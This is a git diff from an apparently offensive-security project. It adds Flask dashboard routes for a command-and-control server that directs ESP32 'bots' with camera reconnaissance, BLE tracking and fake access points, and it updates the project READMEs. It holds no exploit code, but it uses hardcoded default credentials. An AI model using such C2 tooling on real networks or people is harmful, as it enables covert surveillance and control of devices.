||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"rssi_at_1m": engine.rssi_at_1m,
|
||||||
|
"path_loss_n": engine.path_loss_n,
|
||||||
|
"smoothing_window": engine.smoothing_window
|
||||||
|
})
|
||||||
|
|
||||||
|
@bp.route("/clear", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def clear():
|
||||||
|
"""Clear all scanner data."""
|
||||||
|
engine = get_engine()
|
||||||
|
engine.clear()
|
||||||
|
return jsonify({"status": "ok"})
|
||||||
|
|
||||||
|
return bp
|
||||||
59
tools/C3PO/web/routes/api_stats.py
Normal file
59
tools/C3PO/web/routes/api_stats.py
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
"""Stats API routes."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
from flask import Blueprint, jsonify
|
||||||
|
|
||||||
|
|
||||||
|
def create_stats_blueprint(server_config):
|
||||||
|
"""
|
||||||
|
Create the stats API blueprint.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
server_config: Dict with keys:
|
||||||
|
- image_dir: Camera images directory
|
||||||
|
- c2_root: C2 root directory path
|
||||||
|
- get_device_registry: Callable returning device registry
|
||||||
|
- get_mlat_engine: Callable returning MLAT engine
|
||||||
|
- require_api_auth: Auth decorator
|
||||||
|
"""
|
||||||
|
bp = Blueprint("api_stats", __name__, url_prefix="/api")
|
||||||
|
|
||||||
|
image_dir = server_config["image_dir"]
|
||||||
|
c2_root = server_config["c2_root"]
|
||||||
|
get_registry = server_config["get_device_registry"]
|
||||||
|
get_mlat = server_config["get_mlat_engine"]
|
||||||
|
require_api_auth = server_config["require_api_auth"]
|
||||||
|
|
||||||
|
@bp.route("/stats")
|
||||||
|
@require_api_auth
|
||||||
|
def stats():
|
||||||
|
"""Get server statistics."""
|
||||||
|
full_image_dir = os.path.join(c2_root, image_dir)
|
||||||
|
|
||||||
|
# Camera count
|
||||||
|
try:
|
||||||
|
camera_count = len([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
camera_count = 0
|
||||||
|
|
||||||
|
# Device count
|
||||||
|
device_count = 0
|
||||||
|
registry = get_registry()
|
||||||
|
if registry:
|
||||||
|
device_count = len(list(registry.all()))
|
||||||
|
|
||||||
|
# MLAT state
|
||||||
|
mlat_engine = get_mlat()
|
||||||
|
mlat_state = mlat_engine.get_state()
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"active_cameras": camera_count,
|
||||||
|
"connected_devices": device_count,
|
||||||
|
"multilateration_scanners": mlat_state["scanners_count"],
|
||||||
|
"server_running": True
|
||||||
|
})
|
||||||
|
|
||||||
|
return bp
|
||||||
96
tools/C3PO/web/routes/pages.py
Normal file
96
tools/C3PO/web/routes/pages.py
Normal file
@ -0,0 +1,96 @@
|
|||||||
|
"""Page routes (login, dashboard, cameras, mlat)."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import secrets
|
||||||
|
from flask import Blueprint, render_template, redirect, url_for, request, session
|
||||||
|
|
||||||
|
|
||||||
|
def create_pages_blueprint(server_config):
|
||||||
|
"""
|
||||||
|
Create the pages blueprint.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
server_config: Dict with keys:
|
||||||
|
- username: Login username
|
||||||
|
- password: Login password
|
||||||
|
- image_dir: Camera images directory
|
||||||
|
- c2_root: C2 root directory path
|
||||||
|
- require_login: Auth decorator
|
||||||
|
"""
|
||||||
|
bp = Blueprint("pages", __name__)
|
||||||
|
|
||||||
|
username = server_config["username"]
|
||||||
|
password = server_config["password"]
|
||||||
|
image_dir = server_config["image_dir"]
|
||||||
|
c2_root = server_config["c2_root"]
|
||||||
|
require_login = server_config["require_login"]
|
||||||
|
|
||||||
|
@bp.route("/login", methods=["GET", "POST"])
|
||||||
|
def login():
|
||||||
|
error = None
|
||||||
|
if request.method == "POST":
|
||||||
|
# CSRF validation
|
||||||
|
token = request.form.get("csrf_token", "")
|
||||||
|
if token != session.get("csrf_token", ""):
|
||||||
|
error = "Invalid request. Please try again."
|
||||||
|
else:
|
||||||
|
form_user = request.form.get("username")
|
||||||
|
form_pass = request.form.get("password")
|
||||||
|
if form_user == username and form_pass == password:
|
||||||
|
session["logged_in"] = True
|
||||||
|
return redirect(url_for("pages.dashboard"))
|
||||||
|
else:
|
||||||
|
error = "Invalid credentials."
|
||||||
|
# Generate CSRF token for the form
|
||||||
|
session["csrf_token"] = secrets.token_hex(32)
|
||||||
|
return render_template("login.html", error=error, csrf_token=session["csrf_token"])
|
||||||
|
|
||||||
|
@bp.route("/logout")
|
||||||
|
def logout():
|
||||||
|
session.pop("logged_in", None)
|
||||||
|
return redirect(url_for("pages.login"))
|
||||||
|
|
||||||
|
@bp.route("/")
|
||||||
|
@require_login
|
||||||
|
def index():
|
||||||
|
return redirect(url_for("pages.dashboard"))
|
||||||
|
|
||||||
|
@bp.route("/dashboard")
|
||||||
|
@require_login
|
||||||
|
def dashboard():
|
||||||
|
return render_template("dashboard.html", active_page="dashboard")
|
||||||
|
|
||||||
|
@bp.route("/cameras")
|
||||||
|
@require_login
|
||||||
|
def cameras():
|
||||||
|
full_image_dir = os.path.join(c2_root, image_dir)
|
||||||
|
try:
|
||||||
|
image_files = sorted([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
image_files = []
|
||||||
|
|
||||||
|
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
||||||
|
|
||||||
|
@bp.route("/mlat")
|
||||||
|
@require_login
|
||||||
|
def mlat():
|
||||||
|
return render_template("mlat.html", active_page="mlat")
|
||||||
|
|
||||||
|
@bp.route("/streams/<filename>")
|
||||||
|
@require_login
|
||||||
|
def stream_image(filename):
|
||||||
|
from flask import send_from_directory
|
||||||
|
full_image_dir = os.path.join(c2_root, image_dir)
|
||||||
|
return send_from_directory(full_image_dir, filename)
|
||||||
|
|
||||||
|
@bp.route("/recordings/<filename>")
|
||||||
|
@require_login
|
||||||
|
def download_recording(filename):
|
||||||
|
from flask import send_from_directory
|
||||||
|
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||||
|
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||||
|
|
||||||
|
return bp
|
||||||
197
tools/C3PO/web/server.py
Normal file
197
tools/C3PO/web/server.py
Normal file
@ -0,0 +1,197 @@
|
|||||||
|
"""Unified Flask web server for ESPILON C2 dashboard."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from flask import Flask
|
||||||
|
from werkzeug.serving import make_server
|
||||||
|
|
||||||
|
from .mlat import MlatEngine
|
||||||
|
from .auth import create_auth_decorators
|
||||||
|
from .routes import (
|
||||||
|
create_pages_blueprint,
|
||||||
|
create_devices_blueprint,
|
||||||
|
create_cameras_blueprint,
|
||||||
|
create_mlat_blueprint,
|
||||||
|
create_stats_blueprint,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Make hp_dashboard importable (lives in espilon-honey-pot/tools/)
|
||||||
|
_HP_TOOLS_DIR = os.environ.get("HP_DASHBOARD_PATH", os.path.normpath(os.path.join(
|
||||||
|
os.path.dirname(__file__), "..", "..", "..", "..", "espilon-honey-pot", "tools"
|
||||||
|
)))
|
||||||
|
if os.path.isdir(_HP_TOOLS_DIR) and _HP_TOOLS_DIR not in sys.path:
|
||||||
|
sys.path.insert(0, _HP_TOOLS_DIR)
|
||||||
|
|
||||||
|
# Disable Flask/Werkzeug request logging
|
||||||
|
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||||
|
|
||||||
|
|
||||||
|
class UnifiedWebServer:
|
||||||
|
"""
|
||||||
|
Unified Flask-based web server for ESPILON C2.
|
||||||
|
|
||||||
|
Provides:
|
||||||
|
- Dashboard: View connected ESP32 devices
|
||||||
|
- Cameras: View live camera streams with recording
|
||||||
|
- MLAT: Visualize multilateration positioning
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self,
|
||||||
|
host: str = "0.0.0.0",
|
||||||
|
port: int = 8000,
|
||||||
|
image_dir: str = "static/streams",
|
||||||
|
username: str = "admin",
|
||||||
|
password: str = "admin",
|
||||||
|
secret_key: str = "change_this_for_prod",
|
||||||
|
multilat_token: str = "multilat_secret_token",
|
||||||
|
device_registry=None,
|
||||||
|
mlat_engine: Optional[MlatEngine] = None,
|
||||||
|
camera_receiver=None,
|
||||||
|
hp_store=None,
|
||||||
|
hp_commander=None,
|
||||||
|
hp_alerts=None,
|
||||||
|
hp_geo=None):
|
||||||
|
"""
|
||||||
|
Initialize the unified web server.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: Host to bind the server
|
||||||
|
port: Port for the web server
|
||||||
|
image_dir: Directory containing camera frame images
|
||||||
|
username: Login username
|
||||||
|
password: Login password
|
||||||
|
secret_key: Flask session secret key
|
||||||
|
multilat_token: Bearer token for MLAT API
|
||||||
|
device_registry: DeviceRegistry instance for device listing
|
||||||
|
mlat_engine: MlatEngine instance (created if None)
|
||||||
|
camera_receiver: UDPReceiver instance for camera control
|
||||||
|
hp_store: HpStore instance for honeypot event storage
|
||||||
|
hp_commander: HpCommander instance for honeypot command dispatch
|
||||||
|
hp_alerts: HpAlertEngine instance for honeypot alert rules
|
||||||
|
hp_geo: HpGeoLookup instance for geo-IP enrichment
|
||||||
|
"""
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.image_dir = image_dir
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.secret_key = secret_key
|
||||||
|
self.multilat_token = multilat_token
|
||||||
|
self.device_registry = device_registry
|
||||||
|
self.mlat = mlat_engine or MlatEngine()
|
||||||
|
self.camera_receiver = camera_receiver
|
||||||
|
self.hp_store = hp_store
|
||||||
|
self.hp_commander = hp_commander
|
||||||
|
self.hp_alerts = hp_alerts
|
||||||
|
self.hp_geo = hp_geo
|
||||||
|
|
||||||
|
# C2 root directory
|
||||||
|
self.c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
# Ensure image directory exists
|
||||||
|
full_image_dir = os.path.join(self.c2_root, self.image_dir)
|
||||||
|
os.makedirs(full_image_dir, exist_ok=True)
|
||||||
|
|
||||||
|
self._app = self._create_app()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
def set_camera_receiver(self, receiver):
|
||||||
|
"""Set the camera receiver after initialization."""
|
||||||
|
self.camera_receiver = receiver
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self._thread is not None and self._thread.is_alive()
|
||||||
|
|
||||||
|
def _create_app(self) -> Flask:
|
||||||
|
"""Create and configure the Flask application."""
|
||||||
|
template_dir = os.path.join(self.c2_root, "templates")
|
||||||
|
static_dir = os.path.join(self.c2_root, "static")
|
||||||
|
|
||||||
|
app = Flask(__name__,
|
||||||
|
template_folder=template_dir,
|
||||||
|
static_folder=static_dir)
|
||||||
|
app.secret_key = self.secret_key
|
||||||
|
|
||||||
|
# Create auth decorators
|
||||||
|
require_login, require_api_auth = create_auth_decorators(
|
||||||
|
lambda: self.multilat_token
|
||||||
|
)
|
||||||
|
|
||||||
|
# Shared config for blueprints
|
||||||
|
base_config = {
|
||||||
|
"c2_root": self.c2_root,
|
||||||
|
"image_dir": self.image_dir,
|
||||||
|
"require_login": require_login,
|
||||||
|
"require_api_auth": require_api_auth,
|
||||||
|
}
|
||||||
|
|
||||||
|
# Register blueprints
|
||||||
|
app.register_blueprint(create_pages_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"username": self.username,
|
||||||
|
"password": self.password,
|
||||||
|
}))
|
||||||
|
|
||||||
|
app.register_blueprint(create_devices_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"get_device_registry": lambda: self.device_registry,
|
||||||
|
}))
|
||||||
|
|
||||||
|
app.register_blueprint(create_cameras_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"get_camera_receiver": lambda: self.camera_receiver,
|
||||||
|
}))
|
||||||
|
|
||||||
|
app.register_blueprint(create_mlat_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"get_mlat_engine": lambda: self.mlat,
|
||||||
|
}))
|
||||||
|
|
||||||
|
app.register_blueprint(create_stats_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"get_device_registry": lambda: self.device_registry,
|
||||||
|
"get_mlat_engine": lambda: self.mlat,
|
||||||
|
}))
|
||||||
|
|
||||||
|
# Honeypot dashboard (optional — only if hp_store is provided)
|
||||||
|
if self.hp_store and self.hp_commander:
|
||||||
|
try:
|
||||||
|
from hp_dashboard import create_hp_blueprint
|
||||||
|
app.register_blueprint(create_hp_blueprint({
|
||||||
|
**base_config,
|
||||||
|
"hp_store": self.hp_store,
|
||||||
|
"hp_commander": self.hp_commander,
|
||||||
|
"hp_alerts": self.hp_alerts,
|
||||||
|
"hp_geo": self.hp_geo,
|
||||||
|
}))
|
||||||
|
except ImportError:
|
||||||
|
pass # hp_dashboard not available
|
||||||
|
|
||||||
|
return app
|
||||||
|
|
||||||
|
def start(self) -> bool:
|
||||||
|
"""Start the web server in a background thread."""
|
||||||
|
if self.is_running:
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||||
|
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||||
|
self._thread.start()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop the web server."""
|
||||||
|
if self._server:
|
||||||
|
self._server.shutdown()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
def get_url(self) -> str:
|
||||||
|
"""Get the server URL."""
|
||||||
|
return f"http://{self.host}:{self.port}"
|
||||||
@ -2,30 +2,33 @@
|
|||||||
|
|
||||||
This directory contains tools for managing and deploying Epsilon ESP32 agents.
|
This directory contains tools for managing and deploying Epsilon ESP32 agents.
|
||||||
|
|
||||||
## C2 Server (c2/)
|
## C2 Server (C3PO/)
|
||||||
|
|
||||||
The C2 (Command & Control) server manages communication with deployed ESP32 agents.
|
The C2 (Command & Control) server manages communication with deployed ESP32 agents.
|
||||||
|
|
||||||
### C3PO - Main C2 Server
|
### C3PO - Main C2 Server
|
||||||
|
|
||||||
**c3po** is the primary C2 server used to control Epsilon bots.
|
**C3PO** is the primary C2 server used to control Epsilon bots.
|
||||||
|
|
||||||
Features:
|
Features:
|
||||||
|
|
||||||
- Asynchronous Python server (asyncio)
|
- Threaded TCP server (sockets + threads)
|
||||||
- Device registry and management
|
- Device registry and management with per-device crypto
|
||||||
- Group-based device organization
|
- Group-based device organization
|
||||||
- Encrypted communications (ChaCha20)
|
- Encrypted communications (ChaCha20-Poly1305 AEAD + HKDF key derivation)
|
||||||
|
- Per-device master key keystore (`keys.json`)
|
||||||
- Interactive CLI interface
|
- Interactive CLI interface
|
||||||
|
- Optional TUI (Textual) and Web dashboard
|
||||||
|
- Camera UDP receiver + MLAT support
|
||||||
- Command dispatching to individual devices, groups, or all
|
- Command dispatching to individual devices, groups, or all
|
||||||
|
|
||||||
See [c2/README.md](c2/README.md) for complete C2 documentation.
|
See [C3PO/README.md](C3PO/README.md) for complete C2 documentation.
|
||||||
|
|
||||||
Quick start:
|
Quick start:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd c2
|
cd C3PO
|
||||||
python3 c3po.py --port 2626
|
python3 c3po.py
|
||||||
```
|
```
|
||||||
|
|
||||||
Authors: **@off-path**, **@eun0us**
|
Authors: **@off-path**, **@eun0us**
|
||||||
@ -94,8 +97,8 @@ Each device supports:
|
|||||||
| `module_fakeap` | Enable fake AP module |
|
| `module_fakeap` | Enable fake AP module |
|
||||||
| `recon_camera` | Enable camera reconnaissance (ESP32-CAM) |
|
| `recon_camera` | Enable camera reconnaissance (ESP32-CAM) |
|
||||||
| `recon_ble_trilat` | Enable BLE trilateration |
|
| `recon_ble_trilat` | Enable BLE trilateration |
|
||||||
| `crypto_key` | ChaCha20 encryption key (32 chars) |
|
|
||||||
| `crypto_nonce` | ChaCha20 nonce (12 chars) |
|
> **Note**: Crypto keys are no longer configured here. Each device must be provisioned with a unique master key using `tools/provisioning/provision.py`.
|
||||||
|
|
||||||
### Hostname Randomization
|
### Hostname Randomization
|
||||||
|
|
||||||
@ -151,6 +154,26 @@ python3 flash.py --config devices.json --flash-only
|
|||||||
|
|
||||||
See [flasher/README.md](flasher/README.md) for complete documentation.
|
See [flasher/README.md](flasher/README.md) for complete documentation.
|
||||||
|
|
||||||
|
## Device Provisioning (provisioning/)
|
||||||
|
|
||||||
|
The **provisioning** tool generates and flashes unique per-device master keys into factory NVS partitions.
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
- Generates 32-byte random master keys (cryptographically secure)
|
||||||
|
- Creates NVS binary for factory partition (`fctry` at offset 0x10000)
|
||||||
|
- Saves keys to C2 keystore (`keys.json`) for automatic lookup
|
||||||
|
- Supports flashing directly to connected ESP32
|
||||||
|
|
||||||
|
### Quick Start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd provisioning
|
||||||
|
python3 provision.py --device-id my-device --port /dev/ttyUSB0
|
||||||
|
```
|
||||||
|
|
||||||
|
The master key is used by the firmware with HKDF-SHA256 to derive encryption keys for ChaCha20-Poly1305 AEAD.
|
||||||
|
|
||||||
## NanoPB Tools (nan/)
|
## NanoPB Tools (nan/)
|
||||||
|
|
||||||
Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol.
|
Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol.
|
||||||
|
|||||||
@ -1,322 +0,0 @@
|
|||||||
# C2 Server Documentation
|
|
||||||
|
|
||||||
## TODO
|
|
||||||
|
|
||||||
**TODO:**
|
|
||||||
|
|
||||||
```md
|
|
||||||
|
|
||||||
- Add requierements.txt
|
|
||||||
|
|
||||||
- Implementer la coexistence entre multiflasher fichier (valid-id.txt - separator "\n" - C2 will only authorize device who are register in 'valid-id.txt' or add c2 command style 'authorizeId <id>' and he will be add into id list & valid-id.txt file)
|
|
||||||
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
## Overview
|
|
||||||
|
|
||||||
This C2 server is a Python-based control plane designed to manage a fleet of ESP devices (agents).
|
|
||||||
|
|
||||||
It provides a clean and extensible command-line interface to:
|
|
||||||
|
|
||||||
- Manage connected devices by unique ID
|
|
||||||
- Send commands to individual devices, groups, or all devices
|
|
||||||
- Organize devices into logical groups
|
|
||||||
- Display connection duration to the C2
|
|
||||||
- Support structured commands and raw developer commands
|
|
||||||
- Serve as a solid base for future plugins and services
|
|
||||||
|
|
||||||
The project intentionally favors simplicity, readability, and extensibility.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Architecture Overview
|
|
||||||
|
|
||||||
```md
|
|
||||||
|
|
||||||
c2/
|
|
||||||
├── main.py # Entry point
|
|
||||||
├── core/
|
|
||||||
│ ├── device.py # Device model
|
|
||||||
│ ├── registry.py # Connected device registry
|
|
||||||
│ ├── crypto.py # Encryption wrapper
|
|
||||||
│ ├── transport.py # Message handling
|
|
||||||
│ └── groups.py # Group registry
|
|
||||||
├── commands/
|
|
||||||
│ ├── base.py # Command base class
|
|
||||||
│ ├── registry.py # Command registry
|
|
||||||
│ └── *.py # ESP command implementations
|
|
||||||
├── cli/
|
|
||||||
│ ├── cli.py # Interactive CLI
|
|
||||||
│ └── help.py # Help system
|
|
||||||
├── logs/
|
|
||||||
│ └── manager.py # ESP log handling
|
|
||||||
├── proto/
|
|
||||||
│ ├── command.proto # Protocol definition
|
|
||||||
│ └── command_pb2.py # Generated protobuf code
|
|
||||||
└── utils/
|
|
||||||
│ └── constant.py # Default script constant
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Core Concepts
|
|
||||||
|
|
||||||
### Device Identity
|
|
||||||
|
|
||||||
- Each ESP device is identified by a unique `esp_id`
|
|
||||||
- Devices are not identified by IP or port
|
|
||||||
- Reconnecting devices automatically replace their previous session
|
|
||||||
|
|
||||||
### Authentication Model
|
|
||||||
|
|
||||||
- Authentication is implicit
|
|
||||||
- If the server can successfully decrypt and parse a message, the device is considered valid
|
|
||||||
- No explicit handshake is required
|
|
||||||
- Fully compatible with existing firmware
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Running the Server
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python main.py
|
|
||||||
```
|
|
||||||
|
|
||||||
## CLI Usage
|
|
||||||
|
|
||||||
### List Connected Devices
|
|
||||||
|
|
||||||
```md
|
|
||||||
list
|
|
||||||
*Example d'output:*
|
|
||||||
|
|
||||||
ID IP CONNECTED
|
|
||||||
----------------------------------------
|
|
||||||
ce4f626b 192.168.1.42 2m 14s
|
|
||||||
a91dd021 192.168.1.43 18s
|
|
||||||
```
|
|
||||||
|
|
||||||
The `CONNECTED` column shows how long the device has been connected to the c2
|
|
||||||
|
|
||||||
### Help Commands
|
|
||||||
|
|
||||||
```text
|
|
||||||
help [commands]
|
|
||||||
*example:* help
|
|
||||||
output:
|
|
||||||
|
|
||||||
=== C2 HELP ===
|
|
||||||
|
|
||||||
CLI Commands:
|
|
||||||
help [cmd] Show this help
|
|
||||||
list List connected ESP devices
|
|
||||||
send <target> <command> Send a command to ESP(s)
|
|
||||||
group <action> Manage ESP groups
|
|
||||||
clear Clear the screen
|
|
||||||
exit Exit the C2
|
|
||||||
|
|
||||||
ESP Commands:
|
|
||||||
|
|
||||||
reboot Reboot ESP
|
|
||||||
|
|
||||||
DEV MODE ENABLED:
|
|
||||||
You can send arbitrary text commands:
|
|
||||||
send <id> <any text>
|
|
||||||
send group <name> <any text>
|
|
||||||
send all <any text>
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Help System
|
|
||||||
|
|
||||||
```md
|
|
||||||
General Help
|
|
||||||
help
|
|
||||||
|
|
||||||
Help for a Specific ESP Command
|
|
||||||
help reboot
|
|
||||||
|
|
||||||
Help for the send Command
|
|
||||||
help send
|
|
||||||
|
|
||||||
|
|
||||||
The help output is dynamically generated from the registered commands.
|
|
||||||
```
|
|
||||||
|
|
||||||
### Sending Commands
|
|
||||||
|
|
||||||
```md
|
|
||||||
send <esp_id> <command>
|
|
||||||
*example:* send ce4f626b reboot # The device named "ce4f626b" will reboot
|
|
||||||
```
|
|
||||||
|
|
||||||
### Send to All Devices
|
|
||||||
|
|
||||||
```md
|
|
||||||
send all [command]
|
|
||||||
*example:* send all reboot
|
|
||||||
```
|
|
||||||
|
|
||||||
### Send to a Group
|
|
||||||
|
|
||||||
```md
|
|
||||||
send group bots
|
|
||||||
*example:* send group bots reboot
|
|
||||||
```
|
|
||||||
|
|
||||||
### Developer Mode (RAW Commands)
|
|
||||||
|
|
||||||
When `DEV_MODE = True`, arbitrary text commands can be sent:
|
|
||||||
|
|
||||||
```md
|
|
||||||
send <id> [test 12 34]
|
|
||||||
*example:* send ce4f626b custom start stream
|
|
||||||
output **ce4f626b:** "start stream"
|
|
||||||
```
|
|
||||||
|
|
||||||
The commands are sent as-is inside the `Command.command` field.
|
|
||||||
|
|
||||||
## Groups
|
|
||||||
|
|
||||||
### Add Devices to a Group
|
|
||||||
|
|
||||||
```md
|
|
||||||
group add "group_name" <id/s>
|
|
||||||
*example:* group add bots ce4f626b a91dd021
|
|
||||||
|
|
||||||
### List Groups
|
|
||||||
```md
|
|
||||||
group list
|
|
||||||
*Example output:*
|
|
||||||
bots: ce4f626b, a91dd021
|
|
||||||
trilat: e2, e3, e1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Show Group Members
|
|
||||||
|
|
||||||
```md
|
|
||||||
group show [group]
|
|
||||||
*example:* group show bots
|
|
||||||
output:
|
|
||||||
bots: ce4f626b, a91dd021
|
|
||||||
```
|
|
||||||
|
|
||||||
### Remove a Device from a Group
|
|
||||||
|
|
||||||
```md
|
|
||||||
group remove bots ce4f626b
|
|
||||||
```
|
|
||||||
|
|
||||||
Command System
|
|
||||||
Adding a New ESP Command
|
|
||||||
|
|
||||||
Create a new file in commands/, for example status.py
|
|
||||||
|
|
||||||
Implement the command handler:
|
|
||||||
|
|
||||||
from commands.base import CommandHandler
|
|
||||||
from proto.command_pb2 import Command
|
|
||||||
|
|
||||||
class StatusCommand(CommandHandler):
|
|
||||||
name = "status"
|
|
||||||
description = "Get device status"
|
|
||||||
|
|
||||||
def build(self, args):
|
|
||||||
cmd = Command()
|
|
||||||
cmd.command = "status"
|
|
||||||
return cmd.SerializeToString()
|
|
||||||
|
|
||||||
|
|
||||||
Register the command in main.py:
|
|
||||||
|
|
||||||
commands.register(StatusCommand())
|
|
||||||
|
|
||||||
|
|
||||||
The command will automatically appear in:
|
|
||||||
|
|
||||||
CLI tab completion
|
|
||||||
|
|
||||||
help
|
|
||||||
|
|
||||||
send <id> <command>
|
|
||||||
|
|
||||||
## Protocol Definition
|
|
||||||
|
|
||||||
// explain nano pb
|
|
||||||
|
|
||||||
### Command
|
|
||||||
|
|
||||||
```h
|
|
||||||
message Command {
|
|
||||||
string command = 1;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Response
|
|
||||||
|
|
||||||
```h
|
|
||||||
message Response {
|
|
||||||
string tag = 1;
|
|
||||||
string id = 2;
|
|
||||||
string message = 3;
|
|
||||||
bytes response_data = 4;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Log
|
|
||||||
|
|
||||||
```h
|
|
||||||
message Log {
|
|
||||||
string tag = 1;
|
|
||||||
string id = 2;
|
|
||||||
string log_message = 3;
|
|
||||||
uint32 log_error_code = 4;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Communication
|
|
||||||
|
|
||||||
The communication between c2 and bots are end-to-end encrypted.</br>
|
|
||||||
Method:
|
|
||||||
|
|
||||||
```md
|
|
||||||
- ChaCha20 symmetric encryption
|
|
||||||
- Base64 transport encoding
|
|
||||||
- Encryption logic centralized in core/crypto.py
|
|
||||||
- Fully compatible with current ESP firmware
|
|
||||||
```
|
|
||||||
|
|
||||||
## Design Limitations (Intentional)
|
|
||||||
|
|
||||||
```md
|
|
||||||
- No persistent storage (groups reset on restart)
|
|
||||||
- No request/response correlation (request-id)
|
|
||||||
- No permissions or role management
|
|
||||||
- No dynamic plugin loading
|
|
||||||
```
|
|
||||||
|
|
||||||
These are deferred intentionally to keep the core system minimal and clean.
|
|
||||||
|
|
||||||
## Suggested Future Extensions
|
|
||||||
|
|
||||||
Todo and additional features:
|
|
||||||
|
|
||||||
```md
|
|
||||||
- Plugin system (camera, proxy, trilateration/multilateration / etc.. )
|
|
||||||
- Persistent user & group storage (JSON) (Multi-Flasher -> devices.json -> id-list.csv [Allow ID on c2])
|
|
||||||
- Idle time display (last-seen)
|
|
||||||
- Request/response correlation with request-id
|
|
||||||
- Protocol versioning
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Authors
|
|
||||||
|
|
||||||
```md
|
|
||||||
- @off-path
|
|
||||||
- @Eun0us
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
@ -1,31 +0,0 @@
|
|||||||
import base64
|
|
||||||
from Crypto.Cipher import ChaCha20
|
|
||||||
|
|
||||||
KEY = b"testde32chars0000000000000000000"
|
|
||||||
NONCE = b"noncenonceno"
|
|
||||||
|
|
||||||
|
|
||||||
class CryptoContext:
|
|
||||||
def __init__(self, key: bytes = KEY, nonce: bytes = NONCE):
|
|
||||||
self.key = key
|
|
||||||
self.nonce = nonce
|
|
||||||
|
|
||||||
# =========================
|
|
||||||
# ChaCha20
|
|
||||||
# =========================
|
|
||||||
def encrypt(self, data: bytes) -> bytes:
|
|
||||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
|
||||||
return cipher.encrypt(data)
|
|
||||||
|
|
||||||
def decrypt(self, data: bytes) -> bytes:
|
|
||||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
|
||||||
return cipher.decrypt(data)
|
|
||||||
|
|
||||||
# =========================
|
|
||||||
# Base64
|
|
||||||
# =========================
|
|
||||||
def b64_encode(self, data: bytes) -> bytes:
|
|
||||||
return base64.b64encode(data)
|
|
||||||
|
|
||||||
def b64_decode(self, data: bytes) -> bytes:
|
|
||||||
return base64.b64decode(data)
|
|
||||||
@ -1,2 +0,0 @@
|
|||||||
pycryptodome>=3.15.0
|
|
||||||
protobuf>=4.21.0
|
|
||||||
@ -1,387 +0,0 @@
|
|||||||
"""Unified Flask web server for ESPILON C2 dashboard."""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import logging
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from functools import wraps
|
|
||||||
from typing import Optional
|
|
||||||
|
|
||||||
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
|
||||||
from werkzeug.serving import make_server
|
|
||||||
|
|
||||||
from .mlat import MlatEngine
|
|
||||||
|
|
||||||
# Disable Flask/Werkzeug request logging
|
|
||||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
|
||||||
|
|
||||||
|
|
||||||
class UnifiedWebServer:
|
|
||||||
"""
|
|
||||||
Unified Flask-based web server for ESPILON C2.
|
|
||||||
|
|
||||||
Provides:
|
|
||||||
- Dashboard: View connected ESP32 devices
|
|
||||||
- Cameras: View live camera streams with recording
|
|
||||||
- Trilateration: Visualize BLE device positioning
|
|
||||||
"""
|
|
